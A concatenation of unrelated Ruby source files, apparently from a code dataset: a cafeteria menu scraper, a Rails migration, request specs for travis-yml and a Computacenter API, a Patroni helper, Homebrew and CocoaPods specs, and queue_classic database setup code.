Menu.new(place,"화","중식","찌개",[menu[15]]),
Menu.new(place,"화","중식","추억의 도시락",[menu[21]]),
Menu.new(place,"화","중식","오므라이스",[menu[47]]),
Menu.new(place,"수","중식","특식",[menu[10]]),
Menu.new(place,"수","중식","찌개",[menu[16]]),
Menu.new(place,"수","중식","추억의 도시락",[menu[22]]),
Menu.new(place,"수","중식","오므라이스",[menu[48]]),
Menu.new(place,"목","중식","특식",[menu[11]]),
Menu.new(place,"목","중식","찌개",[menu[17]]),
Menu.new(place,"목","중식","추억의 도시락",[menu[23]]),
Menu.new(place,"목","중식","오므라이스",[menu[49]]),
Menu.new(place,"금","중식","특식",[menu[12]]),
Menu.new(place,"금","중식","찌개",[menu[18]]),
Menu.new(place,"금","중식","추억의 도시락",[menu[24]]),
Menu.new(place,"금","중식","오므라이스",[menu[50]]),
Menu.new(place,"월","석식","백반",[menu[27]]),
Menu.new(place,"화","석식","백반",[menu[28]]),
Menu.new(place,"수","석식","백반",[menu[29]]),
Menu.new(place,"목","석식","백반",[menu[30]]),
Menu.new(place,"금","석식","백반",[menu[31]])
]
return menus
end
def requesJungdam
doc = requestHTML
tables = doc.css("#sub_right//table")
menu_data = tables[4].css("tr//td")
menu = []
menu_data.each_with_index do |td,i|
# print i.to_s + " : " + td.inner_text.strip + "\n"
td.css("br").each { |node| node.replace("\n") }
menu << td.text.strip
end
place = "정담원"
menus = [
Menu.new(place,"월","중식","백반",[menu[8]]),
Menu.new(place,"화","중식","백반",[menu[9]]),
Menu.new(place,"수","중식","백반",[menu[10]]),
Menu.new(place,"목","중식","백반",[menu[11]]),
Menu.new(place,"금","중식","백반",[menu[12]])
]
return menus
end
def requestMenu_domitory
doc = requestHTML_domitory
tables = doc.css("#box_list2//a")
menu_datas = []
tables.each_with_index do |t,i|
# if i < 3
# print i.to_s + t.inner_text.strip + "\n"
# elsif i >= 3
# print i.to_s + t.inner_text.strip.split("//")[0] + "\n"
# print i.to_s + t.inner_text.strip.split("//")[1] + "\n"
# end
menu_datas << t.inner_text.strip.split("//")
end
menus = []
index = 0
while index < menu_datas.size
menu = Menu_domitory.new("",menu_datas[index],menu_datas[index+1],menu_datas[index+2])
menus << menu
index += 3
end
# print menus
return menus
end
def requestMenu_domitory2
doc = requestHTML_domitory2
tables = doc.css("#box_list2//a")
menu_datas = []
tables.each_with_index do |t,i|
# if i < 3
# print i.to_s + t.inner_text.strip + "\n"
# elsif i >= 3
# print i.to_s + t.inner_text.strip.split("//")[0] + "\n"
# print i.to_s + t.inner_text.strip.split("//")[1] + "\n"
# end
menu_datas << t.inner_text.strip.split("//")
end
menus = []
index = 0
while index < menu_datas.size
menu = Menu_domitory.new("",menu_datas[index],menu_datas[index+1],menu_datas[index+2])
menus << menu
index += 3
end
# print menus
return menus
end
def testTables
doc = requestHTML
tables = doc.css("#sub_right//table")
tables.each_with_index do |table,i|
print "\n" +i.to_s + "\n" +table.inner_text
end
end
# 모바일
def requestMenu_hu_mobile(day)
menu_datas = requestMenu_Mobile_Food(3,day)
# menu_datas.each_with_index do |t, i|
# puts "#{i} #{t}"
# end
for i in 0..20
if menu_datas[i] == nil
menu_datas[i] = ""
end
end
place = "후생관"
menus = [
Menu.new(place,day,"조식","찌개 백반",[menu_datas[0], menu_datas[1], menu_datas[2], menu_datas[3]]),
Menu.new(place,day,"중식","찌개",[menu_datas[4]]),
Menu.new(place,day,"중식","볶음밥",[menu_datas[5]]),
Menu.new(place,day,"중식","추억의 도시락",[menu_datas[6],menu_datas[7]]),
Menu.new(place,day,"중식","오므라이스",[menu_datas[17]]),
Menu.new(place,day,"석식","백반",[menu_datas[8],menu_datas[9],menu_datas[10]])
]
return menus
end
def requestMenu_jinsu_mobile(day)
menu_datas = requestMenu_Mobile_Food(0,day)
for i in 0..7
if menu_datas[i] == nil
menu_datas[i] = ""
end
end
place = "진수당"
menus = [
Menu.new(place,day,"중식","백반",[menu_datas[0],menu_datas[1],menu_datas[2],menu_datas[3]]),
Menu.new(place,day,"석식","백반",[menu_datas[4],menu_datas[5],menu_datas[6],menu_datas[7]])
]
return menus
end
def requestMenu_medi_mobile(day)
menu_datas = requestMenu_Mobile_Food(1,day)
for i in 0..7
if menu_datas[i] == nil
menu_datas[i] = ""
end
end
place = "의대"
menus = [
Menu.new(place,day,"중식","백반",[menu_datas[0],menu_datas[1],menu_datas[2],menu_datas[3]]),
Menu.new(place,day,"석식","백반",[menu_datas[4],menu_datas[5],menu_datas[6],menu_datas[7]])
]
return menus
end
def requestMenu_studentHall_mobile(day)
menu_datas = requestMenu_Mobile_Food(2,day)
for i in 0..9
if menu_datas[i] == nil
menu_datas[i] = ""
end
end
place = "학생회관"
menus = [
Menu.new(place,day,"중식","백반",[menu_datas[2],menu_datas[3],menu_datas[4],menu_datas[5]]),
Menu.new(place,day,"석식","백반",[menu_datas[6],menu_datas[7],menu_datas[8],menu_datas[9]])
]
return menus
end
def requestMenu_jungdam_mobile(day)
menu_datas = requestMenu_Mobile_Food(4,day)
for i in 0..4
if menu_datas[i] == nil
menu_datas[i] = ""
end
end
place = "정담원"
menus = [
Menu.new(place, day, "중식", "백반", menu_datas[0..4]),
]
return menus
end
end | 27.105882 | 117 | 0.451476 |
4ae47e3334aec8b9b8533201ede0eb08e2bd4d78 | 263 | class CreateServices < ActiveRecord::Migration[5.0]
def change
create_table :services do |t|
t.string :name, null: false
t.integer :organization_id, null: false
t.timestamps
end
add_foreign_key :services, :organizations
end
end
| 21.916667 | 51 | 0.692015 |
bff9ecd35b481a458a73e5654c095098a7fa0cb6 | 9,611 | require 'spec_helper'
describe Travis::Yml::Web::App, 'POST /configs' do
include Rack::Test::Methods
let(:app) { described_class }
let(:status) { last_response.status }
let(:headers) { last_response.headers }
let(:body) { Oj.load(last_response.body, symbol_keys: true) }
let(:data) { { repo: repo, type: type, ref: ref, configs: respond_to?(:configs) ? configs : nil } }
let(:repo) { { id: 1, github_id: 1, slug: 'travis-ci/travis-yml', token: 'token', private: false, private_key: 'key', allow_config_imports: true } }
let(:type) { :push }
let(:ref) { 'ref' }
let(:travis_yml) { 'import: one.yml' }
let(:one_yml) { 'script: ./one' }
before { stub_content(repo[:id], '.travis.yml', travis_yml) }
before { stub_content(repo[:id], 'one.yml', one_yml) }
before { header 'Authorization', 'internal token' }
context do
context do
before { post '/configs', Oj.generate(data) }
it { expect(status).to eq 200 }
it { expect(headers['Content-Type']).to eq 'application/json' }
it do
expect(body[:raw_configs]).to eq [
{
source: 'travis-ci/travis-yml:.travis.yml@ref',
config: travis_yml,
mode: nil
},
{
source: 'travis-ci/travis-yml:one.yml@ref',
config: one_yml,
mode: nil
}
]
end
it do
expect(body[:config]).to eq(
script: ['./one']
)
end
it do
expect(body[:matrix]).to eq [
script: ['./one']
]
end
end
describe 'api' do
describe 'merge mode merge' do
let(:config) { JSON.dump(merge_mode: 'merge') }
let(:configs) { [{ config: config }, { config: config }] }
let(:travis_yml) { 'import: { source: one.yml, mode: deep_merge_prepend }' }
before { post '/configs', Oj.generate(data) }
it do
expect(body[:raw_configs]).to eq [
{
source: 'api.1',
config: config,
mode: 'merge'
},
{
source: 'api.2',
config: config,
mode: 'merge'
},
{
source: 'travis-ci/travis-yml:.travis.yml@ref',
config: travis_yml,
mode: nil
},
{
source: 'travis-ci/travis-yml:one.yml@ref',
config: one_yml,
mode: 'deep_merge_prepend'
}
]
end
end
describe 'merge mode replace' do
let(:config) { '{}' }
let(:data) { { repo: repo, type: type, ref: ref, configs: [config: config, mode: :replace] } }
before { post '/configs', Oj.generate(data) }
it do
expect(body[:raw_configs]).to eq [
{
source: 'api',
config: config,
mode: 'replace'
}
]
end
end
describe 'merge mode given as an array' do
let(:config) { JSON.dump(merge_mode: ['deep_merge']) }
let(:data) { { repo: repo, type: type, ref: ref, configs: [config: config] } }
before { post '/configs', Oj.generate(data) }
it { expect { body }.to_not raise_error }
end
describe 'empty api config' do
let(:configs) { [config: ''] }
before { stub_content(repo[:id], '.travis.yml', status: 404) }
before { post '/configs', Oj.generate(data) }
it do
expect(body[:raw_configs]).to eq [
{
source: 'api',
config: '',
mode: nil
},
]
end
end
end
end
describe 'does not generate duplicate messages' do
let(:configs) { [{ config: 'api: true', mode: 'deep_merge_append' }] }
let(:travis_yml) { 'travis_yml: true' }
before { post '/configs?defaults=true', Oj.generate(data) }
it do
expect(body[:messages]).to eq [
{ level: 'info', code: 'default', key: 'root', args: { key: 'language', default: 'ruby' }, type: 'config' },
{ level: 'info', code: 'default', key: 'root', args: { key: 'os', default: 'linux' }, type: 'config' },
{ level: 'info', code: 'default', key: 'root', args: { key: 'dist', default: 'xenial' }, type: 'config' },
{ level: 'warn', code: 'unknown_key', key: 'root', args: { key: 'api', value: true }, type: 'config' },
{ level: 'warn', code: 'unknown_key', key: 'root', args: { key: 'travis_yml', value: true }, type: 'config' },
]
end
end
describe 'errors' do
let(:body) { symbolize(JSON.parse(last_response.body)) }
describe 'parse error' do
let(:travis_yml) { '{' }
before { post '/configs', Oj.generate(data), defaults: true }
it { expect(last_response.status).to eq 400 }
it do
expect(body).to eq(
error: {
type: 'parse_error',
source: 'travis-ci/travis-yml:.travis.yml@ref',
message: '(<unknown>): did not find expected node content while parsing a flow node at line 2 column 1 (source: travis-ci/travis-yml:.travis.yml@ref)'
}
)
end
end
describe 'invalid config format' do
let(:travis_yml) { 'str' }
before { post '/configs', Oj.generate(data), defaults: true }
it { expect(last_response.status).to eq 400 }
it do
expect(body).to eq(
error: {
type: 'invalid_config_format',
source: 'travis-ci/travis-yml:.travis.yml@ref',
message: 'Input must parse into a hash (source: travis-ci/travis-yml:.travis.yml@ref)'
}
)
end
end
describe 'internal error' do
before { allow(Travis::Yml::Configs).to receive(:new).and_raise StandardError }
subject { post '/configs', Oj.generate(data), defaults: true }
it { expect { subject }.to raise_error StandardError }
end
end
describe 'travis api errors' do
let(:travis_yml) { 'import: other/other:one.yml' }
let(:body) { symbolize(JSON.parse(last_response.body)) }
before { stub_content('other/other', 'one.yml', one_yml) }
before { stub_repo('other/other', internal: true, status: status) }
subject { post '/configs', Oj.generate(data), defaults: true }
context do
before { subject }
describe '401' do
let(:status) { 401 }
it { expect(last_response.status).to eq 400 }
it do
expect(body).to eq(
error: {
type: 'unauthorized',
service: 'travis_ci',
ref: 'other/other',
message: 'Unable to authenticate with Travis CI for repo other/other (Travis CI GET repo/other%2Fother responded with 401)'
}
)
end
end
describe '403' do
let(:status) { 403 }
it { expect(last_response.status).to eq 400 }
it do
expect(body).to eq(
error: {
type: 'unauthorized',
service: 'travis_ci',
ref: 'other/other',
message: 'Unable to authenticate with Travis CI for repo other/other (Travis CI GET repo/other%2Fother responded with 403)'
}
)
end
end
describe '404' do
let(:status) { 404 }
it { expect(last_response.status).to eq 400 }
it do
expect(body).to eq(
error: {
type: 'repo_not_found',
service: 'travis_ci',
ref: 'other/other',
message: 'Repo other/other not found on Travis CI (Travis CI GET repo/other%2Fother responded with 404)'
}
)
end
end
end
describe '500' do
let(:status) { 500 }
it { expect { subject }.to raise_error Travis::Yml::Configs::ServerError }
end
end
describe 'github api errors' do
let(:travis_yml) { 'import: other/other:one.yml' }
let(:body) { symbolize(JSON.parse(last_response.body)) }
before { stub_repo('other/other', internal: true, body: { github_id: 1 }) }
before { stub_content(1, 'one.yml', status: status) }
subject { post '/configs', Oj.generate(data), defaults: true }
context do
before { subject }
describe '401' do
let(:status) { 401 }
it { expect(last_response.status).to eq 400 }
it do
expect(body).to eq(
error: {
type: 'unauthorized',
service: 'github',
ref: 'other/other:one.yml',
message: 'Unable to authenticate with RemoteVcs for file other/other:one.yml ()'
}
)
end
end
describe '403' do
let(:status) { 403 }
it { expect(last_response.status).to eq 400 }
it do
expect(body).to eq(
error: {
type: 'unauthorized',
service: 'github',
ref: 'other/other:one.yml',
message: 'Unable to authenticate with RemoteVcs for file other/other:one.yml ()'
}
)
end
end
describe '404' do
let(:status) { 404 }
it { expect(last_response.status).to eq 400 }
it do
expect(body).to eq(
error: {
type: 'file_not_found',
service: 'github',
ref: 'other/other:one.yml',
message: 'File other/other:one.yml not found on RemoteVcs ()'
}
)
end
end
end
end
end
| 30.034375 | 162 | 0.522214 |
2169978f45535c06ecce0e6e6ef7f333b698c30f | 2,626 | class PatroniHelper < BaseHelper
include ShellOutHelper
DCS_ATTRIBUTES ||= %w(loop_wait ttl retry_timeout maximum_lag_on_failover max_timelines_history master_start_timeout).freeze
DCS_POSTGRESQL_ATTRIBUTES ||= %w(use_pg_rewind use_slots).freeze
attr_reader :node
def ctl_command
"#{node['package']['install-dir']}/embedded/bin/patronictl"
end
def service_name
'patroni'
end
def running?
OmnibusHelper.new(node).service_up?(service_name)
end
def bootstrapped?
File.exist?(File.join(node['postgresql']['dir'], 'data', 'patroni.dynamic.json'))
end
def scope
node['patroni']['scope']
end
def node_status
return 'not running' unless running?
cmd = "#{ctl_command} -c #{node['patroni']['dir']}/patroni.yaml list | grep #{node.name} | cut -d '|' -f 5"
do_shell_out(cmd).stdout.chomp.strip
end
def dynamic_settings(pg_helper)
dcs = {
'postgresql' => {
'parameters' => {}
},
'slots' => {}
}
DCS_ATTRIBUTES.each do |key|
dcs[key] = node['patroni'][key]
end
DCS_POSTGRESQL_ATTRIBUTES.each do |key|
dcs['postgresql'][key] = node['patroni'][key]
end
node['patroni']['postgresql'].each do |key, value|
dcs['postgresql']['parameters'][key] = value
end
# work around to support PG12 and PG13 concurrently
if (pg_helper.database_version || pg_helper.version).major.to_i >= 13
dcs['postgresql']['parameters'].delete('wal_keep_segments')
else
dcs['postgresql']['parameters'].delete('wal_keep_size')
end
node['patroni']['replication_slots'].each do |slot_name, options|
dcs['slots'][slot_name] = parse_replication_slots_options(options)
end
if node['patroni']['standby_cluster']['enable']
dcs['standby_cluster'] = {}
node['patroni']['standby_cluster'].each do |key, value|
next if key == 'enable'
dcs['standby_cluster'][key] = value
end
end
dcs
end
def public_attributes
return {} unless node['patroni']['enable']
{
'patroni' => {
'config_dir' => node['patroni']['dir'],
'data_dir' => File.join(node['patroni']['dir'], 'data'),
'log_dir' => node['patroni']['log_directory'],
'api_address' => "#{node['patroni']['listen_address'] || '127.0.0.1'}:#{node['patroni']['port']}"
}
}
end
private
# Parse replication slots attributes
#
# We currently support only physical replication
def parse_replication_slots_options(options)
return unless options['type'] == 'physical'
{
'type' => 'physical'
}
end
end
| 24.773585 | 126 | 0.633283 |
0350564a63336531ae1a62f428be4246f94cc5c6 | 396 | require 'net/http'
param_operation = "square"
param_value = 100 # Square size in pixels.
image_url = "http://images.rethumb.com/image_coimbra_600x300.jpg"
image_filename = "resized-image.jpg"
Net::HTTP.start("api.rethumb.com") do |http|
resp = http.get("/v1/#{param_operation}/#{param_value}/#{image_url}")
open(image_filename, "wb") do |file|
file.write(resp.body)
end
end | 28.285714 | 73 | 0.699495 |
bf19cb268bad7b02668b7d9ff49f1e385040359e | 226 | describe 'Semaphore addon - template' do
it 'creates the Dockerfile.web' do
expect(file('Dockerfile.web')).to exist
end
it 'creates the Dockerfile.worker' do
expect(file('Dockerfile.worker')).to exist
end
end
| 22.6 | 46 | 0.712389 |
014cec4bba413d92b6d211fd6168bb17be4f635f | 801 | require 'json'
package = JSON.parse(File.read(File.join(__dir__, 'package.json')))
Pod::Spec.new do |s|
s.name = 'ReactNativeToast'
s.version = package['version']
s.summary = package['description']
s.description = package['description']
s.homepage = package['homepage']
s.license = package['license']
s.author = package['author']
s.source = { :git => 'https://github.com/remobile/react-native-toast.git', :tag => 'v'+s.version.to_s }
s.platform = :ios, '9.0'
s.ios.deployment_target = '8.0'
s.dependency 'React'
s.preserve_paths = 'README.md', 'LICENSE', 'package.json'
s.source_files = 'ios/**/*.{h,m}'
s.exclude_files = 'android/**/*'
end
| 33.375 | 118 | 0.55181 |
033576bd3f99e0520d72ece4e1cfc63a641379c3 | 734 | class SignInTokenForm
include ActiveModel::Model
attr_accessor :email_address, :token, :identifier
validates :email_address,
presence: { message: 'Enter an email address in the correct format, like [email protected]' },
length: { minimum: 2, maximum: 1024, message: 'Email address must be between 2 and 1048 characters long' },
format: { with: URI::MailTo::EMAIL_REGEXP, message: 'Enter an email address in the correct format, like [email protected]' }
def email_is_user?
SessionService.find_user_by_lowercase_email(email_address).present? && !user_deleted?
end
private
def user_deleted?
User.deleted.where('lower(email_address) = ?', email_address.downcase).first
end
end
| 34.952381 | 135 | 0.720708 |
1d8934989263ae1336f7a2c12918128a39377328 | 360 | cask 'ibackup-viewer' do
version '4.1100'
sha256 '27880d2871dd42d056d5f26cbf5bcb9342c30dde100daaa6adf61e97c5e24bbb'
url 'https://www.imactools.com/download/iBackupViewer.dmg'
appcast 'https://www.imactools.com/update/ibackupviewer.xml'
name 'iBackup Viewer'
homepage 'https://www.imactools.com/iphonebackupviewer/'
app 'iBackup Viewer.app'
end
| 30 | 75 | 0.783333 |
214a2769114ad77d86b158d2b118a8903b6f256b | 320 | # encoding utf-8
# Copyright (c) Universidade Federal Fluminense (UFF).
# This file is part of SAPOS. Please, consult the license terms in the LICENSE file.
class RenameReportConfigurationShowSapos < ActiveRecord::Migration
def change
rename_column :report_configurations, :show_sapos, :signature_footer
end
end
| 32 | 84 | 0.79375 |
397bc49b8df57620e0b0399b21f49edeacf7d710 | 1,326 | class Sassc < Formula
desc "Wrapper around libsass that helps to create command-line apps"
homepage "https://github.com/sass/sassc"
url "https://github.com/sass/sassc.git",
tag: "3.6.1",
revision: "46748216ba0b60545e814c07846ca10c9fefc5b6"
head "https://github.com/sass/sassc.git"
bottle do
cellar :any
sha256 "b3e76afb48cf7789113e29f01389bdc5d7f13faf3e9b7f28f4bf9ef352363b0f" => :catalina
sha256 "34e0739d4967b537d4836780cefcb47910ce8c5b8201e9f864d10c3d34801237" => :mojave
sha256 "4461eb8cf88f6fbbfe0d15b0efd0449cc95e3e46873af0f972769594786c32ea" => :high_sierra
sha256 "e54c8d0ddc93a8212c9c39f9e8c853a6b19ae1fc2ba3bee650785215441aa60e" => :sierra
end
depends_on "autoconf" => :build
depends_on "automake" => :build
depends_on "libtool" => :build
depends_on "pkg-config" => :build
depends_on "libsass"
def install
system "autoreconf", "-fvi"
system "./configure", "--prefix=#{prefix}", "--disable-silent-rules",
"--disable-dependency-tracking"
system "make", "install"
end
test do
(testpath/"input.scss").write <<~EOS
div {
img {
border: 0px;
}
}
EOS
assert_equal "div img{border:0px}",
shell_output("#{bin}/sassc --style compressed input.scss").strip
end
end
| 30.837209 | 93 | 0.684012 |
623cfa9afa27eba7a9a5936a4eb7fa2378fa0dc4 | 3,223 | # frozen_string_literal: true
require 'spec_helper'
RSpec.describe 'Before type cast' do
describe '#attributes_before_type_cast', config: { timestamps: false } do
let(:klass) do
new_class do
field :admin, :boolean
end
end
it 'returns original attributes value' do
obj = klass.new(admin: 0)
expect(obj.attributes_before_type_cast).to eql(
id: nil,
admin: 0,
created_at: nil,
updated_at: nil
)
end
it 'returns values for all the attributes even not assigned' do
klass_with_many_fields = new_class do
field :first_name
field :last_name
field :email
end
obj = klass_with_many_fields.new(first_name: 'John')
expect(obj.attributes_before_type_cast).to eql(
id: nil,
first_name: 'John',
last_name: nil,
email: nil,
created_at: nil,
updated_at: nil
)
end
it 'returns original default value if field has default value' do
klass_with_default_value = new_class do
field :activated_on, :date, default: '2018-09-27'
end
obj = klass_with_default_value.new
expect(obj.attributes_before_type_cast).to eql(
id: nil,
activated_on: '2018-09-27',
created_at: nil,
updated_at: nil
)
end
it 'returns nil if field does not have default value' do
obj = klass.new
expect(obj.attributes_before_type_cast).to eql(
id: nil,
admin: nil,
created_at: nil,
updated_at: nil
)
end
it 'returns values loaded from the storage before type casting' do
obj = klass.create!(admin: false)
obj2 = klass.find(obj.id)
expect(obj2.attributes_before_type_cast).to eql(
id: obj.id,
admin: false,
created_at: nil,
updated_at: nil
)
end
end
describe '#read_attribute_before_type_cast' do
let(:klass) do
new_class do
field :admin, :boolean
end
end
it 'returns attribute original value' do
obj = klass.new(admin: 1)
expect(obj.read_attribute_before_type_cast(:admin)).to eql(1)
end
it 'accepts string as well as symbol argument' do
obj = klass.new(admin: 1)
expect(obj.read_attribute_before_type_cast('admin')).to eql(1)
end
it 'returns nil if there is no such attribute' do
obj = klass.new
expect(obj.read_attribute_before_type_cast(:first_name)).to eql(nil)
end
end
describe '#<name>_before_type_cast' do
let(:klass) do
new_class do
field :first_name
field :last_name
field :admin, :boolean
end
end
it 'exists for every model attribute' do
obj = klass.new
expect(obj).to respond_to(:id)
expect(obj).to respond_to(:first_name_before_type_cast)
expect(obj).to respond_to(:last_name_before_type_cast)
expect(obj).to respond_to(:admin)
expect(obj).to respond_to(:created_at)
expect(obj).to respond_to(:updated_at)
end
it 'returns attribute original value' do
obj = klass.new(admin: 0)
expect(obj.admin_before_type_cast).to eql(0)
end
end
end
| 24.233083 | 75 | 0.627986 |
287e5eef217ab52e8315d6af20c0ce7ae13ff8bb | 5,776 | require 'rails_helper'
RSpec.describe Computacenter::OutgoingAPI::CapUpdateRequest do
let(:response_body) { 'response body' }
let(:trust) { create(:trust, :manages_centrally) }
let(:school_1) { create(:school, responsible_body: trust, computacenter_reference: '01234567') }
let(:school_2) { create(:school, responsible_body: trust, computacenter_reference: '98765432') }
let(:allocation_1) { create(:school_device_allocation, school: school_1, device_type: 'std_device', allocation: 11, cap: 1) }
let(:allocation_2) { create(:school_device_allocation, school: school_2, device_type: 'coms_device', allocation: 22, cap: 0) }
before do
@network_call = stub_computacenter_outgoing_api_calls(response_body: response_body)
end
describe '#post!' do
subject(:request) { described_class.new(allocation_ids: [allocation_1.id, allocation_2.id]) }
it 'generates a new payload_id' do
expect { request.post! }.to change(request, :payload_id)
end
it 'POSTs the body to the endpoint using Basic Auth' do
request.post!
expect(@network_call.with(basic_auth: %w[user pass])).to have_been_requested
end
it 'generates a correct body' do
request.payload_id = '123456789'
request.timestamp = Time.new(2020, 9, 2, 15, 3, 35, '+02:00')
request.post!
expected_xml = <<~XML
<?xml version="1.0" encoding="UTF-8"?>
<CapAdjustmentRequest payloadID="123456789" dateTime="2020-09-02T15:03:35+02:00">
<Record capType="DfE_RemainThresholdQty|Coms_Device" shipTo="98765432" capAmount="0"/>
<Record capType="DfE_RemainThresholdQty|Std_Device" shipTo="01234567" capAmount="1"/>
</CapAdjustmentRequest>
XML
expect(@network_call.with(body: expected_xml)).to have_been_requested
end
context 'when the responsible_body is managing multiple chromebook domains' do
subject(:request) { described_class.new(allocation_ids: [allocation_1.id, allocation_2.id]) }
before do
allocation_1.update!(cap: allocation_1.allocation, devices_ordered: 2)
allocation_2.update!(cap: allocation_2.allocation, devices_ordered: 3)
trust.update!(vcap_feature_flag: true)
school_1.create_preorder_information!(who_will_order_devices: 'responsible_body',
will_need_chromebooks: 'yes',
school_or_rb_domain: 'school_1.com',
recovery_email_address: '[email protected]')
school_2.create_preorder_information!(who_will_order_devices: 'school',
will_need_chromebooks: 'no')
school_1.can_order!
school_2.can_order!
trust.add_school_to_virtual_cap_pools!(school_1)
trust.reload
end
it 'generates a correct body using devices_ordered for the cap amounts to force manual handling at TechSource' do
request.payload_id = '123456789'
request.timestamp = Time.new(2020, 9, 2, 15, 3, 35, '+02:00')
request.post!
expected_xml = <<~XML
<?xml version="1.0" encoding="UTF-8"?>
<CapAdjustmentRequest payloadID="123456789" dateTime="2020-09-02T15:03:35+02:00">
<Record capType="DfE_RemainThresholdQty|Coms_Device" shipTo="98765432" capAmount="22"/>
<Record capType="DfE_RemainThresholdQty|Std_Device" shipTo="01234567" capAmount="11"/>
</CapAdjustmentRequest>
XML
expect(@network_call.with(body: expected_xml)).to have_been_requested
end
end
context 'when the response status is success' do
it 'returns an HTTP::Response object' do
expect(request.post!).to be_a(HTTP::Response)
end
end
context 'when the response status is not a success' do
before do
WebMock.reset!
stub_computacenter_outgoing_api_calls(response_body: response_body, response_status: 401)
end
it 'raises an error' do
expect { request.post! }.to raise_error(Computacenter::OutgoingAPI::Error)
end
it 'does not change the timestamp and payload_id on the allocations' do
expect { request.post! }.to raise_error(Computacenter::OutgoingAPI::Error)
allocation_1.reload
allocation_2.reload
expect(allocation_1.cap_update_request_timestamp).to be_nil
expect(allocation_1.cap_update_request_payload_id).to be_nil
expect(allocation_2.cap_update_request_timestamp).to be_nil
expect(allocation_2.cap_update_request_payload_id).to be_nil
end
end
context 'when the response contains an error' do
let(:response_body) do
'<CapAdjustmentResponse dateTime="2020-08-21T12:30:40Z" payloadID="11111111-1111-1111-1111-111111111111"><HeaderResult errorDetails="Non of the records are processed" piMessageID="11111111111111111111111111111111" status="Failed"/><FailedRecords><Record capAmount="9" capType="DfE_RemainThresholdQty|Std_Device" errorDetails="New cap must be greater than or equal to used quantity" shipTO="11111111" status="Failed"/></FailedRecords></CapAdjustmentResponse>'
end
it 'raises an error' do
expect { request.post! }.to raise_error(Computacenter::OutgoingAPI::Error)
end
end
context 'when the response does not contain an error' do
let(:response_body) do
'<CapAdjustmentResponse dateTime="2020-09-14T21:55:37Z" payloadID="11111111-1111-1111-1111-111111111111"><HeaderResult piMessageID="11111111111111111111111111111111" status="Success"/><FailedRecords/></CapAdjustmentResponse>'
end
it 'does not raise an error' do
expect { request.post! }.not_to raise_error
end
end
end
end
| 44.775194 | 466 | 0.687846 |
bfd9a72c9487e41794c54bc7799dcd3cd365f0be | 673 | # Copyright 2013 Google Inc. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
module VagrantPlugins
module Google
VERSION = "2.2.0".freeze
end
end
| 35.421053 | 74 | 0.756315 |
212d9851856a5961ad1a93372e01c5e066629e16 | 893 | class Gleam < Formula
desc "✨ A statically typed language for the Erlang VM"
homepage "https://gleam.run"
url "https://github.com/lpil/gleam/archive/v0.7.1.tar.gz"
sha256 "cab8daf5f7f6ffbf1d43b3d188690f9b01bf8faf7ad4fee4811648502a1a1301"
bottle do
cellar :any_skip_relocation
sha256 "13b302bb841848da6d01318965e300ff2a36d6cf5e7ed18c7aac5f1a205089ed" => :catalina
sha256 "e72c728f7a8220f4ac906c7873739e63eb49ec99e427509c52666dc7c0e02bed" => :mojave
sha256 "bae9b42449c6e75a13d7af3c29851580f36626ed1e8cf99b925ba266bfaa9e6c" => :high_sierra
end
depends_on "rust" => :build
depends_on "erlang"
depends_on "rebar3"
def install
system "cargo", "install", "--locked", "--root", prefix, "--path", "."
end
test do
Dir.chdir testpath
system "#{bin}/gleam", "new", "test_project"
Dir.chdir "test_project"
system "rebar3", "eunit"
end
end
| 30.793103 | 93 | 0.737962 |
e25d2a35a6183e79fb3bf989c95b28598b831fa4 | 2,997 | # frozen_string_literal: true
module QC
module Setup
Root = File.expand_path("../..", File.dirname(__FILE__))
SqlFunctions = File.join(Root, "/sql/ddl.sql")
CreateTable = File.join(Root, "/sql/create_table.sql")
DropSqlFunctions = File.join(Root, "/sql/drop_ddl.sql")
UpgradeTo_3_0_0 = File.join(Root, "/sql/update_to_3_0_0.sql")
DowngradeFrom_3_0_0 = File.join(Root, "/sql/downgrade_from_3_0_0.sql")
UpgradeTo_3_1_0 = File.join(Root, "/sql/update_to_3_1_0.sql")
DowngradeFrom_3_1_0 = File.join(Root, "/sql/downgrade_from_3_1_0.sql")
UpgradeTo_4_0_0 = File.join(Root, "/sql/update_to_4_0_0.sql")
DowngradeFrom_4_0_0 = File.join(Root, "/sql/downgrade_from_4_0_0.sql")
def self.create(c = QC::default_conn_adapter.connection)
conn = QC::ConnAdapter.new(connection: c)
conn.execute(File.read(CreateTable))
conn.execute(File.read(SqlFunctions))
conn.disconnect if c.nil? #Don't close a conn we didn't create.
end
def self.drop(c = QC::default_conn_adapter.connection)
conn = QC::ConnAdapter.new(connection: c)
conn.execute("DROP TABLE IF EXISTS queue_classic_jobs CASCADE")
conn.execute(File.read(DropSqlFunctions))
conn.disconnect if c.nil? #Don't close a conn we didn't create.
end
def self.update(c = QC::default_conn_adapter.connection)
conn = QC::ConnAdapter.new(connection: c)
conn.execute(File.read(UpgradeTo_3_0_0))
conn.execute(File.read(UpgradeTo_3_1_0))
conn.execute(File.read(UpgradeTo_4_0_0))
conn.execute(File.read(DropSqlFunctions))
conn.execute(File.read(SqlFunctions))
end
def self.update_to_3_0_0(c = QC::default_conn_adapter.connection)
conn = QC::ConnAdapter.new(connection: c)
conn.execute(File.read(UpgradeTo_3_0_0))
conn.execute(File.read(DropSqlFunctions))
conn.execute(File.read(SqlFunctions))
end
def self.downgrade_from_3_0_0(c = QC::default_conn_adapter.connection)
conn = QC::ConnAdapter.new(connection: c)
conn.execute(File.read(DowngradeFrom_3_0_0))
end
def self.update_to_3_1_0(c = QC::default_conn_adapter.connection)
conn = QC::ConnAdapter.new(connection: c)
conn.execute(File.read(UpgradeTo_3_1_0))
conn.execute(File.read(DropSqlFunctions))
conn.execute(File.read(SqlFunctions))
end
def self.downgrade_from_3_1_0(c = QC::default_conn_adapter.connection)
conn = QC::ConnAdapter.new(connection: c)
conn.execute(File.read(DowngradeFrom_3_1_0))
end
def self.update_to_4_0_0(c = QC::default_conn_adapter.connection)
conn = QC::ConnAdapter.new(connection: c)
conn.execute(File.read(UpgradeTo_4_0_0))
conn.execute(File.read(DropSqlFunctions))
conn.execute(File.read(SqlFunctions))
end
def self.downgrade_from_4_0_0(c = QC::default_conn_adapter.connection)
conn = QC::ConnAdapter.new(connection: c)
conn.execute(File.read(DowngradeFrom_4_0_0))
end
end
end
